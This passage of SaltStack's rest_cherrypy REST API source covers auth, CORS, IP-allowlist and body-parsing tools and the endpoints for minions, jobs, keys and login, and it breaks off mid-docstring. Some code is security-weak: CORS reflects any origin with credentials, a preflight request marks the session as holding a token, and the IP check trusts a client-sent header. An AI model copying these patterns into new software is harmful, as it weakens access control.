Performance Expectations and Recommended Usage ============================================== This module provides a thin wrapper around :ref:`Salt's Python API <python-api>`. Executing a Salt command via rest_cherrypy is directly analogous to executing a Salt command via Salt's CLI (which also uses the Python API) -- they share the same semantics, performance characteristics, and 98% of the same code. As a rule-of-thumb: if you wouldn't do it at the CLI don't do it via this API. Long-Running HTTP Connections ----------------------------- The CherryPy server is a production-ready, threading HTTP server written in Python. Because it makes use of a thread pool to process HTTP requests it is not ideally suited to maintaining large numbers of concurrent, synchronous connections. On moderate hardware with default settings it should top-out at around 30 to 50 concurrent connections. That number of long-running, synchronous Salt processes is also not ideal. Like at the CLI, each Salt command run will start a process that instantiates its own ``LocalClient``, which instantiates its own listener to the Salt event bus, and sends out its own periodic ``saltutil.find_job`` queries to determine if a Minion is still running the command. Not exactly a lightweight operation. Timeouts -------- In addition to the above resource overhead for long-running connections, there are the usual HTTP timeout semantics for the CherryPy server, any HTTP client being used, as well as any hardware in between such as proxies, gateways, or load balancers. rest_cherrypy can be configured not to time-out long responses via the ``expire_responses`` setting, and both :py:class:`LocalClient <salt.client.LocalClient>` and :py:class:`RunnerClient <salt.runner.RunnerClient>` have their own timeout parameters that may be passed as top-level keywords: .. code-block:: bash curl -b /tmp/cookies.txt -sSi localhost:8000 \ -H 'Content-type: application/json' \ -d ' [ { "client": "local", "tgt": "*", "fun": "test.sleep", "kwarg": {"length": 30}, "timeout": 60 }, { "client": "runner", "fun": "test.sleep", "kwarg": {"s_time": 30}, "timeout": 60 } ] ' Best Practices -------------- Given the performance overhead and HTTP timeouts for long-running operations described above, the most effective and most scalable way to use both Salt and salt-api is to run commands asynchronously using the ``local_async``, ``runner_async``, and ``wheel_async`` clients. Running asynchronous jobs results in being able to process 3x more commands per second for ``LocalClient`` and 17x more commands per second for ``RunnerClient``, in addition to much less network traffic and memory requirements. Job returns can be fetched from Salt's job cache via the ``/jobs/<jid>`` endpoint, or they can be collected into a data store using Salt's :ref:`Returner system <returners>`. The ``/events`` endpoint is specifically designed to handle long-running HTTP connections and it exposes Salt's event bus which includes job returns. Watching this endpoint first, then executing asynchronous Salt commands second, is the most lightweight and scalable way to use ``rest_cherrypy`` while still receiving job returns in real-time. But this requires clients that can properly handle the inherent asynchronicity of that workflow. Performance Tuning ------------------ The ``thread_pool`` and ``socket_queue_size`` settings can be used to increase the capacity of rest_cherrypy to handle incoming requests. Keep an eye on RAM usage as well as available file handles while testing changes to these settings. As salt-api is a thin wrapper around Salt's Python API, also keep an eye on the performance of Salt when testing. Future Plans ------------ Now that Salt uses the Tornado concurrency library internally, we plan to improve performance in the API by taking advantage of existing processes and event listeners and to use lightweight coroutines to facilitate more simultaneous HTTP connections and better support for synchronous operations. That effort can be tracked in `issue 26505`__, but until that issue is closed rest_cherrypy will remain the officially recommended REST API. .. __: https://github.com/saltstack/salt/issues/26505 .. |req_token| replace:: a session token from :py:class:`~Login`. .. |req_accept| replace:: the desired response format. .. |req_ct| replace:: the format of the request body. .. |res_ct| replace:: the format of the response body; depends on the :mailheader:`Accept` request header. .. |200| replace:: success .. |400| replace:: bad or malformed request .. |401| replace:: authentication required .. |406| replace:: requested Content-Type not available ''' # We need a custom pylintrc here... # pylint: disable=W0212,E1101,C0103,R0201,W0221,W0613 # Import Python libs from __future__ import absolute_import import collections import itertools import functools import logging import os import signal import tarfile from multiprocessing import Process, Pipe logger = logging.getLogger(__name__) # Import third-party libs # pylint: disable=import-error, 3rd-party-module-not-gated import cherrypy try: from cherrypy.lib import cpstats except AttributeError: cpstats = None logger.warn('Import of cherrypy.cpstats failed. ' 'Possible upstream bug: ' 'https://github.com/cherrypy/cherrypy/issues/1444') except ImportError: cpstats = None logger.warn('Import of cherrypy.cpstats failed.') # pylint: enable=import-error, 3rd-party-module-not-gated # Import Salt libs import salt import salt.auth import salt.exceptions import salt.utils.event import salt.utils.json import salt.utils.stringutils import salt.utils.versions import salt.utils.yaml from salt.ext import six from salt.ext.six import BytesIO # Import salt-api libs import salt.netapi # Imports related to websocket try: from .tools import websockets from . import event_processor HAS_WEBSOCKETS = True except ImportError: websockets = type('websockets', (object,), { 'SynchronizingWebsocket': None, }) HAS_WEBSOCKETS = False def html_override_tool(): ''' Bypass the normal handler and serve HTML for all URLs The ``app_path`` setting must be non-empty and the request must ask for ``text/html`` in the ``Accept`` header. ''' apiopts = cherrypy.config['apiopts'] request = cherrypy.request url_blacklist = ( apiopts.get('app_path', '/app'), apiopts.get('static_path', '/static'), ) if 'app' not in cherrypy.config['apiopts']: return if request.path_info.startswith(url_blacklist): return if request.headers.get('Accept') == '*/*': return try: wants_html = cherrypy.lib.cptools.accept('text/html') except cherrypy.HTTPError: return else: if wants_html != 'text/html': return raise cherrypy.InternalRedirect(apiopts.get('app_path', '/app')) def salt_token_tool(): ''' If the custom authentication header is supplied, put it in the cookie dict so the rest of the session-based auth works as intended ''' x_auth = cherrypy.request.headers.get('X-Auth-Token', None) # X-Auth-Token header trumps session cookie if x_auth: cherrypy.request.cookie['session_id'] = x_auth def salt_api_acl_tool(username, request): ''' ..versionadded:: 2016.3.0 Verifies user requests against the API whitelist. (User/IP pair) in order to provide whitelisting for the API similar to the master, but over the API. ..code-block:: yaml rest_cherrypy: api_acl: users: '*': - 1.1.1.1 - 1.1.1.2 foo: - 8.8.4.4 bar: - '*' :param username: Username to check against the API. :type username: str :param request: Cherrypy request to check against the API. :type request: cherrypy.request ''' failure_str = ("[api_acl] Authentication failed for " "user {0} from IP {1}") success_str = ("[api_acl] Authentication sucessful for " "user {0} from IP {1}") pass_str = ("[api_acl] Authentication not checked for " "user {0} from IP {1}") acl = None # Salt Configuration salt_config = cherrypy.config.get('saltopts', None) if salt_config: # Cherrypy Config. cherrypy_conf = salt_config.get('rest_cherrypy', None) if cherrypy_conf: # ACL Config. acl = cherrypy_conf.get('api_acl', None) ip = request.remote.ip if acl: users = acl.get('users', {}) if users: if username in users: if ip in users[username] or '*' in users[username]: logger.info(success_str.format(username, ip)) return True else: logger.info(failure_str.format(username, ip)) return False elif username not in users and '*' in users: if ip in users['*'] or '*' in users['*']: logger.info(success_str.format(username, ip)) return True else: logger.info(failure_str.format(username, ip)) return False else: logger.info(failure_str.format(username, ip)) return False else: logger.info(pass_str.format(username, ip)) return True def salt_ip_verify_tool(): ''' If there is a list of restricted IPs, verify current client is coming from one of those IPs. ''' # This is overly cumbersome and crude, # But, it's also safe... ish... salt_config = cherrypy.config.get('saltopts', None) if salt_config: cherrypy_conf = salt_config.get('rest_cherrypy', None) if cherrypy_conf: auth_ip_list = cherrypy_conf.get('authorized_ips', None) if auth_ip_list: logger.debug("Found IP list: {0}".format(auth_ip_list)) rem_ip = cherrypy.request.headers.get('Remote-Addr', None) logger.debug("Request from IP: {0}".format(rem_ip)) if rem_ip not in auth_ip_list: logger.error("Blocked IP: {0}".format(rem_ip)) raise cherrypy.HTTPError(403, 'Bad IP') def salt_auth_tool(): ''' Redirect all unauthenticated requests to the login page ''' # Redirect to the login page if the session hasn't been authed if 'token' not in cherrypy.session: # pylint: disable=W8601 raise cherrypy.HTTPError(401) # Session is authenticated; inform caches cherrypy.response.headers['Cache-Control'] = 'private' def cors_tool(): ''' Handle both simple and complex CORS requests Add CORS headers to each response. If the request is a CORS preflight request swap out the default handler with a simple, single-purpose handler that verifies the request and provides a valid CORS response. ''' req_head = cherrypy.request.headers resp_head = cherrypy.response.headers # Always set response headers necessary for 'simple' CORS. resp_head['Access-Control-Allow-Origin'] = req_head.get('Origin', '*') resp_head['Access-Control-Expose-Headers'] = 'GET, POST' resp_head['Access-Control-Allow-Credentials'] = 'true' # Non-simple CORS preflight request; short-circuit the normal handler. if cherrypy.request.method == 'OPTIONS': ac_method = req_head.get('Access-Control-Request-Method', None) allowed_methods = ['GET', 'POST'] allowed_headers = [ 'Content-Type', 'X-Auth-Token', 'X-Requested-With', ] if ac_method and ac_method in allowed_methods: resp_head['Access-Control-Allow-Methods'] = ', '.join(allowed_methods) resp_head['Access-Control-Allow-Headers'] = ', '.join(allowed_headers) resp_head['Connection'] = 'keep-alive' resp_head['Access-Control-Max-Age'] = '1400' # Note: CherryPy on Py3 uses binary objects for the response # Python 2.6 also supports the byte prefix, so no need for conditionals cherrypy.response.body = b'' cherrypy.response.status = 200 # CORS requests should short-circuit the other tools. cherrypy.serving.request.handler = None # Needed to avoid the auth_tool check. if cherrypy.request.config.get('tools.sessions.on', False): cherrypy.session['token'] = True return True # Be conservative in what you send # Maps Content-Type to serialization functions; this is a tuple of tuples to # preserve order of preference. ct_out_map = ( ('application/json', salt.utils.json.dumps), ('application/x-yaml', functools.partial( salt.utils.yaml.safe_dump, default_flow_style=False)), ) def hypermedia_handler(*args, **kwargs): ''' Determine the best output format based on the Accept header, execute the regular handler, and transform the output to the request content type (even if it's an error). :param args: Pass args through to the main handler :param kwargs: Pass kwargs through to the main handler ''' # Execute the real handler. Handle or pass-through any errors we know how # to handle (auth & HTTP errors). Reformat any errors we don't know how to # handle as a data structure. try: cherrypy.response.processors = dict(ct_out_map) ret = cherrypy.serving.request._hypermedia_inner_handler(*args, **kwargs) except (salt.exceptions.AuthenticationError, salt.exceptions.AuthorizationError, salt.exceptions.EauthAuthenticationError, salt.exceptions.TokenAuthenticationError): raise cherrypy.HTTPError(401) except salt.exceptions.SaltInvocationError: raise cherrypy.HTTPError(400) except (salt.exceptions.SaltDaemonNotRunning, salt.exceptions.SaltReqTimeoutError) as exc: raise cherrypy.HTTPError(503, exc.strerror) except salt.exceptions.SaltClientTimeout: raise cherrypy.HTTPError(504) except cherrypy.CherryPyException: raise except Exception as exc: # pylint: disable=broad-except # The TimeoutError exception class was removed in CherryPy in 12.0.0, but # Still check existence of TimeoutError and handle in CherryPy < 12. # The check was moved down from the SaltClientTimeout error line because # A one-line if statement throws a BaseException inheritance TypeError. if hasattr(cherrypy, 'TimeoutError') and isinstance(exc, cherrypy.TimeoutError): raise cherrypy.HTTPError(504) import traceback logger.debug("Error while processing request for: %s", cherrypy.request.path_info, exc_info=True) cherrypy.response.status = 500 ret = { 'status': cherrypy.response.status, 'return': '{0}'.format(traceback.format_exc(exc)) if cherrypy.config['debug'] else "An unexpected error occurred"} # Raises 406 if requested content-type is not supported best = cherrypy.lib.cptools.accept([i for (i, _) in ct_out_map]) # Transform the output from the handler into the requested output format cherrypy.response.headers['Content-Type'] = best out = cherrypy.response.processors[best] try: response = out(ret) if six.PY3: response = salt.utils.stringutils.to_bytes(response) return response except Exception: # pylint: disable=broad-except msg = 'Could not serialize the return data from Salt.' logger.debug(msg, exc_info=True) raise cherrypy.HTTPError(500, msg) def hypermedia_out(): ''' Determine the best handler for the requested content type Wrap the normal handler and transform the output from that handler into the requested content type ''' request = cherrypy.serving.request request._hypermedia_inner_handler = request.handler # If handler has been explicitly set to None, don't override. if request.handler is not None: request.handler = hypermedia_handler def process_request_body(fn): ''' A decorator to skip a processor function if process_request_body is False ''' @functools.wraps(fn) def wrapped(*args, **kwargs): # pylint: disable=C0111 if cherrypy.request.process_request_body is not False: fn(*args, **kwargs) return wrapped def urlencoded_processor(entity): ''' Accept x-www-form-urlencoded data (run through CherryPy's formatter) and reformat it into a Low State data structure. Since we can't easily represent complicated data structures with key-value pairs, any more complicated requirements (e.g. compound commands) must instead be delivered via JSON or YAML. For example:: .. code-block:: bash curl -si localhost:8000 -d client=local -d tgt='*' \\ -d fun='test.kwarg' -d arg='one=1' -d arg='two=2' :param entity: raw POST data ''' # First call out to CherryPy's default processor cherrypy._cpreqbody.process_urlencoded(entity) cherrypy._cpreqbody.process_urlencoded(entity) cherrypy.serving.request.unserialized_data = entity.params cherrypy.serving.request.raw_body = '' @process_request_body def json_processor(entity): ''' Unserialize raw POST data in JSON format to a Python data structure. :param entity: raw POST data ''' if six.PY2: body = entity.fp.read() else: # https://github.com/cherrypy/cherrypy/pull/1572 contents = BytesIO() body = entity.fp.read(fp_out=contents) contents.seek(0) body = salt.utils.stringutils.to_unicode(contents.read()) del contents try: cherrypy.serving.request.unserialized_data = salt.utils.json.loads(body) except ValueError: raise cherrypy.HTTPError(400, 'Invalid JSON document') cherrypy.serving.request.raw_body = body @process_request_body def yaml_processor(entity): ''' Unserialize raw POST data in YAML format to a Python data structure. :param entity: raw POST data ''' if six.PY2: body = entity.fp.read() else: # https://github.com/cherrypy/cherrypy/pull/1572 contents = BytesIO() body = entity.fp.read(fp_out=contents) contents.seek(0) body = salt.utils.stringutils.to_unicode(contents.read()) try: cherrypy.serving.request.unserialized_data = salt.utils.yaml.safe_load(body) except ValueError: raise cherrypy.HTTPError(400, 'Invalid YAML document') cherrypy.serving.request.raw_body = body @process_request_body def text_processor(entity): ''' Attempt to unserialize plain text as JSON Some large services still send JSON with a text/plain Content-Type. Those services are bad and should feel bad. :param entity: raw POST data ''' if six.PY2: body = entity.fp.read() else: # https://github.com/cherrypy/cherrypy/pull/1572 contents = BytesIO() body = entity.fp.read(fp_out=contents) contents.seek(0) body = salt.utils.stringutils.to_unicode(contents.read()) try: cherrypy.serving.request.unserialized_data = salt.utils.json.loads(body) except ValueError: cherrypy.serving.request.unserialized_data = body cherrypy.serving.request.raw_body = body def hypermedia_in(): ''' Unserialize POST/PUT data of a specified Content-Type. The following custom processors all are intended to format Low State data and will place that data structure into the request object. :raises HTTPError: if the request contains a Content-Type that we do not have a processor for ''' # Be liberal in what you accept ct_in_map = { 'application/x-www-form-urlencoded': urlencoded_processor, 'application/json': json_processor, 'application/x-yaml': yaml_processor, 'text/yaml': yaml_processor, 'text/plain': text_processor, } # Do not process the body for POST requests that have specified no content # or have not specified Content-Length if (cherrypy.request.method.upper() == 'POST' and cherrypy.request.headers.get('Content-Length', '0') == '0'): cherrypy.request.process_request_body = False cherrypy.request.unserialized_data = None cherrypy.request.body.processors.clear() cherrypy.request.body.default_proc = cherrypy.HTTPError( 406, 'Content type not supported') cherrypy.request.body.processors = ct_in_map def lowdata_fmt(): ''' Validate and format lowdata from incoming unserialized request data This tool requires that the hypermedia_in tool has already been run. ''' if cherrypy.request.method.upper() != 'POST': return data = cherrypy.request.unserialized_data # if the data was sent as urlencoded, we need to make it a list. # this is a very forgiving implementation as different clients set different # headers for form encoded data (including charset or something similar) if data and isinstance(data, collections.Mapping): # Make the 'arg' param a list if not already if 'arg' in data and not isinstance(data['arg'], list): # pylint: disable=unsupported-membership-test data['arg'] = [data['arg']] # Finally, make a Low State and put it in request cherrypy.request.lowstate = [data] else: cherrypy.serving.request.lowstate = data tools_config = { 'on_start_resource': [ ('html_override', html_override_tool), ('salt_token', salt_token_tool), ], 'before_request_body': [ ('cors_tool', cors_tool), ('salt_auth', salt_auth_tool), ('hypermedia_in', hypermedia_in), ], 'before_handler': [ ('lowdata_fmt', lowdata_fmt), ('hypermedia_out', hypermedia_out), ('salt_ip_verify', salt_ip_verify_tool), ], } for hook, tool_list in tools_config.items(): for idx, tool_config in enumerate(tool_list): tool_name, tool_fn = tool_config setattr(cherrypy.tools, tool_name, cherrypy.Tool( hook, tool_fn, priority=(50 + idx))) ############################################################################### class LowDataAdapter(object): ''' The primary entry point to Salt's REST API ''' exposed = True _cp_config = { 'tools.salt_token.on': True, 'tools.sessions.on': True, 'tools.sessions.timeout': 60 * 10, # 10 hours # 'tools.autovary.on': True, 'tools.hypermedia_out.on': True, 'tools.hypermedia_in.on': True, 'tools.lowdata_fmt.on': True, 'tools.salt_ip_verify.on': True, } def __init__(self): self.opts = cherrypy.config['saltopts'] self.apiopts = cherrypy.config['apiopts'] self.api = salt.netapi.NetapiClient(self.opts) def exec_lowstate(self, client=None, token=None): ''' Pull a Low State data structure from request and execute the low-data chunks through Salt. The low-data chunks will be updated to include the authorization token for the current session. ''' lowstate = cherrypy.request.lowstate # Release the session lock before executing any potentially # long-running Salt commands. This allows different threads to execute # Salt commands concurrently without blocking. if cherrypy.request.config.get('tools.sessions.on', False): cherrypy.session.release_lock() # if the lowstate loaded isn't a list, lets notify the client if not isinstance(lowstate, list): raise cherrypy.HTTPError(400, 'Lowstates must be a list') # Make any requested additions or modifications to each lowstate, then # execute each one and yield the result. for chunk in lowstate: if token: chunk['token'] = token if 'token' in chunk: # Make sure that auth token is hex try: int(chunk['token'], 16) except (TypeError, ValueError): raise cherrypy.HTTPError(401, 'Invalid token') if client: chunk['client'] = client # Make any 'arg' params a list if not already. # This is largely to fix a deficiency in the urlencoded format. if 'arg' in chunk and not isinstance(chunk['arg'], list): chunk['arg'] = [chunk['arg']] ret = self.api.run(chunk) # Sometimes Salt gives us a return and sometimes an iterator if isinstance(ret, collections.Iterator): for i in ret: yield i else: yield ret @cherrypy.config(**{'tools.sessions.on': False}) def GET(self): ''' An explanation of the API with links of where to go next .. http:get:: / :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000 .. code-block:: text GET / HTTP/1.1 Host: localhost:8000 Accept: application/json **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Type: application/json ''' return { 'return': "Welcome", 'clients': salt.netapi.CLIENTS, } @cherrypy.tools.salt_token() @cherrypy.tools.salt_auth() def POST(self, **kwargs): ''' Send one or more Salt commands in the request body .. http:post:: / :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :reqheader Content-Type: |req_ct| :resheader Content-Type: |res_ct| :status 200: |200| :status 400: |400| :status 401: |401| :status 406: |406| :term:`lowstate` data describing Salt commands must be sent in the request body. **Example request:** .. code-block:: bash curl -sSik https://localhost:8000 \\ -b ~/cookies.txt \\ -H "Accept: application/x-yaml" \\ -H "Content-type: application/json" \\ -d '[{"client": "local", "tgt": "*", "fun": "test.ping"}]' .. code-block:: text POST / HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml X-Auth-Token: d40d1e1e Content-Type: application/json [{"client": "local", "tgt": "*", "fun": "test.ping"}] **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 200 Allow: GET, HEAD, POST Content-Type: application/x-yaml return: - ms-0: true ms-1: true ms-2: true ms-3: true ms-4: true ''' return { 'return': list(self.exec_lowstate( token=cherrypy.session.get('token'))) } class Minions(LowDataAdapter): ''' Convenience URLs for working with minions ''' _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, }) def GET(self, mid=None): ''' A convenience URL for getting lists of minions or getting minion details .. http:get:: /minions/(mid) :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/minions/ms-3 .. code-block:: text GET /minions/ms-3 HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 129005 Content-Type: application/x-yaml return: - ms-3: grains.items: ... ''' cherrypy.request.lowstate = [{ 'client': 'local', 'tgt': mid or '*', 'fun': 'grains.items', }] return { 'return': list(self.exec_lowstate( token=cherrypy.session.get('token'))), } def POST(self, **kwargs): ''' Start an execution command and immediately return the job id .. http:post:: /minions :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :reqheader Content-Type: |req_ct| :resheader Content-Type: |res_ct| :status 200: |200| :status 400: |400| :status 401: |401| :status 406: |406| Lowstate data describing Salt commands must be sent in the request body. The ``client`` option will be set to :py:meth:`~salt.client.LocalClient.local_async`. **Example request:** .. code-block:: bash curl -sSi localhost:8000/minions \\ -b ~/cookies.txt \\ -H "Accept: application/x-yaml" \\ -d '[{"tgt": "*", "fun": "status.diskusage"}]' .. code-block:: text POST /minions HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml Content-Type: application/json tgt=*&fun=status.diskusage **Example response:** .. code-block:: text HTTP/1.1 202 Accepted Content-Length: 86 Content-Type: application/x-yaml return: - jid: '20130603122505459265' minions: [ms-4, ms-3, ms-2, ms-1, ms-0] _links: jobs: - href: /jobs/20130603122505459265 ''' job_data = list(self.exec_lowstate(client='local_async', token=cherrypy.session.get('token'))) cherrypy.response.status = 202 return { 'return': job_data, '_links': { 'jobs': [{'href': '/jobs/{0}'.format(i['jid'])} for i in job_data if i], }, } class Jobs(LowDataAdapter): _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, }) def GET(self, jid=None, timeout=''): ''' A convenience URL for getting lists of previously run jobs or getting the return from a single job .. http:get:: /jobs/(jid) List jobs or show a single job from the job cache. :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/jobs .. code-block:: text GET /jobs HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 165 Content-Type: application/x-yaml return: - '20121130104633606931': Arguments: - '3' Function: test.fib Start Time: 2012, Nov 30 10:46:33.606931 Target: jerry Target-type: glob **Example request:** .. code-block:: bash curl -i localhost:8000/jobs/20121130104633606931 .. code-block:: text GET /jobs/20121130104633606931 HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 73 Content-Type: application/x-yaml info: - Arguments: - '3' Function: test.fib Minions: - jerry Start Time: 2012, Nov 30 10:46:33.606931 Target: '*' Target-type: glob User: saltdev jid: '20121130104633606931' return: - jerry: - - 0 - 1 - 1 - 2 - 6.9141387939453125e-06 ''' lowstate = {'client': 'runner'} if jid: lowstate.update({'fun': 'jobs.list_job', 'jid': jid}) else: lowstate.update({'fun': 'jobs.list_jobs'}) cherrypy.request.lowstate = [lowstate] job_ret_info = list(self.exec_lowstate( token=cherrypy.session.get('token'))) ret = {} if jid: ret['info'] = [job_ret_info[0]] minion_ret = {} returns = job_ret_info[0].get('Result') for minion in returns: if u'return' in returns[minion]: minion_ret[minion] = returns[minion].get(u'return') else: minion_ret[minion] = returns[minion].get('return') ret['return'] = [minion_ret] else: ret['return'] = [job_ret_info[0]] return ret class Keys(LowDataAdapter): ''' Convenience URLs for working with minion keys .. versionadded:: 2014.7.0 These URLs wrap the functionality provided by the :py:mod:`key wheel module <salt.wheel.key>` functions. ''' def GET(self, mid=None): ''' Show the list of minion keys or detail on a specific key .. versionadded:: 2014.7.0 .. http:get:: /keys/(mid) List all keys or show a specific key :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/keys .. code-block:: text GET /keys HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 165 Content-Type: application/x-yaml return: local: - master.pem - master.pub minions: - jerry minions_pre: [] minions_rejected: [] **Example request:** .. code-block:: bash curl -i localhost:8000/keys/jerry .. code-block:: text GET /keys/jerry HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 73 Content-Type: application/x-yaml return: minions: jerry: 51:93:b3:d0:9f:3a:6d:e5:28:67:c2:4b:27:d6:cd:2b ''' if mid: lowstate = [{ 'client': 'wheel', 'fun': 'key.finger', 'match': mid, }] else: lowstate = [{ 'client': 'wheel', 'fun': 'key.list_all', }] cherrypy.request.lowstate = lowstate result = self.exec_lowstate(token=cherrypy.session.get('token')) return {'return': next(result, {}).get('data', {}).get('return', {})} @cherrypy.config(**{'tools.hypermedia_out.on': False, 'tools.sessions.on': False}) def POST(self, **kwargs): r''' Easily generate keys for a minion and auto-accept the new key Accepts all the same parameters as the :py:func:`key.gen_accept <salt.wheel.key.gen_accept>`. .. note:: A note about ``curl`` Avoid using the ``-i`` flag or HTTP headers will be written and produce an invalid tar file. Example partial kickstart script to bootstrap a new minion: .. code-block:: text %post mkdir -p /etc/salt/pki/minion curl -sSk https://localhost:8000/keys \ -d mid=jerry \ -d username=kickstart \ -d password=kickstart \ -d eauth=pam \ | tar -C /etc/salt/pki/minion -xf - mkdir -p /etc/salt/minion.d printf 'master: 10.0.0.5\nid: jerry' > /etc/salt/minion.d/id.conf %end .. http:post:: /keys Generate a public and private key and return both as a tarball Authentication credentials must be passed in the request. :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -sSk https://localhost:8000/keys \ -d mid=jerry \ -d username=kickstart \ -d password=kickstart \ -d eauth=pam \ -o jerry-salt-keys.tar .. code-block:: text POST /keys HTTP/1.1 Host: localhost:8000 **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Length: 10240 Content-Disposition: attachment; filename="saltkeys-jerry.tar" Content-Type: application/x-tar jerry.pub0000644000000000000000000000070300000000000010730 0ustar 00000000000000 ''' lowstate = cherrypy.request.lowstate lowstate[0].update({ 'client': 'wheel', 'fun': 'key.gen_accept', }) if 'mid' in lowstate[0]: lowstate[0]['id_'] = lowstate[0].pop('mid') result = self.exec_lowstate() ret = next(result, {}).get('data', {}).get('return', {}) pub_key = ret.get('pub', '') pub_key_file = tarfile.TarInfo('minion.pub') pub_key_file.size = len(pub_key) priv_key = ret.get('priv', '') priv_key_file = tarfile.TarInfo('minion.pem') priv_key_file.size = len(priv_key) fileobj = BytesIO() tarball = tarfile.open(fileobj=fileobj, mode='w') if six.PY3: pub_key = pub_key.encode(__salt_system_encoding__) priv_key = priv_key.encode(__salt_system_encoding__) tarball.addfile(pub_key_file, BytesIO(pub_key)) tarball.addfile(priv_key_file, BytesIO(priv_key)) tarball.close() headers = cherrypy.response.headers headers['Content-Disposition'] = 'attachment; filename="saltkeys-{0}.tar"'.format(lowstate[0]['id_']) headers['Content-Type'] = 'application/x-tar' headers['Content-Length'] = len(fileobj.getvalue()) headers['Cache-Control'] = 'no-cache' fileobj.seek(0) return fileobj class Login(LowDataAdapter): ''' Log in to receive a session token :ref:`Authentication information <rest_cherrypy-auth>`. ''' def __init__(self, *args, **kwargs): super(Login, self).__init__(*args, **kwargs) self.auth = salt.auth.Resolver(self.opts) def GET(self): ''' Present the login interface .. http:get:: /login An explanation of how to log in. :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/login .. code-block:: text GET /login HTTP/1.1 Host: localhost:8000 Accept: text/html **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Type: text/html ''' cherrypy.response.headers['WWW-Authenticate'] = 'Session' return { 'status': cherrypy.response.status, 'return': "Please log in", } def POST(self, **kwargs): ''' :ref:`Authenticate <rest_cherrypy-auth>` against Salt's eauth system .. http:post:: /login :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :reqheader Content-Type: |req_ct| :form eauth: the eauth backend configured for the user :form username: username :form password: password :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -si localhost:8000/login \\ -c ~/cookies.txt \\ -H "Accept: application/json" \\ -H "Content-type: application/json" \\ -d '{ "username": "saltuser", "password": "saltuser", "eauth": "auto" }' .. code-block:: text POST / HTTP/1.1 Host: localhost:8000 Content-Length: 42 Content-Type: application/json Accept: application/json {"username": "saltuser", "password": "saltuser", "eauth": "auto"} **Example response:** .. code-block:: text HTTP/1.1 200 OK Content-Type: application/json Content-Length: 206 X-Auth-Token: 6d1b722e Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/ {"return": { "token": "6d1b722e", "start": 1363805943.776223, "expire": 1363849143.776224, "user": "saltuser", "eauth": "pam", "perms": [ "grains.*", "status.*", "sys.*", "test.*" ] }} ''' if not self.api._is_master_running(): raise salt.exceptions.SaltDaemonNotRunning( 'Salt Master is not available.') # the urlencoded_processor will wrap this in a list if isinstance(cherrypy.serving.request.lowstate, list): creds = cherrypy.serving.request.lowstate[0] else: creds = cherrypy.serving.request.lowstate username = creds.get('username', None) # Validate against the whitelist. if not salt_api_acl_tool(username, cherrypy.request): raise cherrypy.HTTPError(401) # Mint token. token = self.auth.mk_token(creds) if 'token' not in token: raise cherrypy.HTTPError(401, 'Could not authenticate using provided credentials') cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id cherrypy.session['token'] = token['token'] cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60 # Grab eauth config for the current backend for the current user try: eauth = self.opts.get('external_auth', {}).get(token['eauth'], {}) if token['eauth'] == 'django' and '^model' in eauth: perms = token['auth_list'] else: # Get sum of '*' perms, user-specific perms, and group-specific perms perms = eauth.get(token['name'], []) perms.extend(eauth.get('*', [])) if 'groups' in token and token['groups']: user_groups = set(token['groups']) eauth_groups = set([i.rstrip('%') for i in eauth.keys() if i.endswith('%')]) for group in user_groups & eauth_groups: perms.extend(eauth['{0}%'.format(group)]) if not perms: logger.debug("Eauth permission list not found.") except Exception: # pylint: disable=broad-except logger.debug("Configuration for external_auth malformed for " "eauth '{0}', and user '{1}'." .format(token.get('eauth'), token.get('name')), exc_info=True) perms = None return {'return': [{ 'token': cherrypy.session.id, 'expire': token['expire'], 'start': token['start'], 'user': token['name'], 'eauth': token['eauth'], 'perms': perms or {}, }]} class Logout(LowDataAdapter): ''' Class to remove or invalidate sessions ''' _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, 'tools.lowdata_fmt.on': False, }) def POST(self): ''' Destroy the currently active session and expire the session cookie ''' cherrypy.lib.sessions.expire() # set client-side to expire cherrypy.session.regenerate() # replace server-side with new return {'return': "Your token has been cleared"} class Token(LowDataAdapter): ''' Generate a Salt token from eauth credentials Wraps functionality in the :py:mod:`auth Runner <salt.runners.auth>`. .. versionadded:: 2017.7.0 ''' @cherrypy.config(**{'tools.sessions.on': False}) def POST(self, **kwargs): r''' .. http:post:: /token Generate a Salt eauth token :status 200: |200| :status 400: |400| :status 401: |401| **Example request:** .. code-block:: bash curl -sSk https://localhost:8000/token \ -H 'Content-type: application/json' \ -d 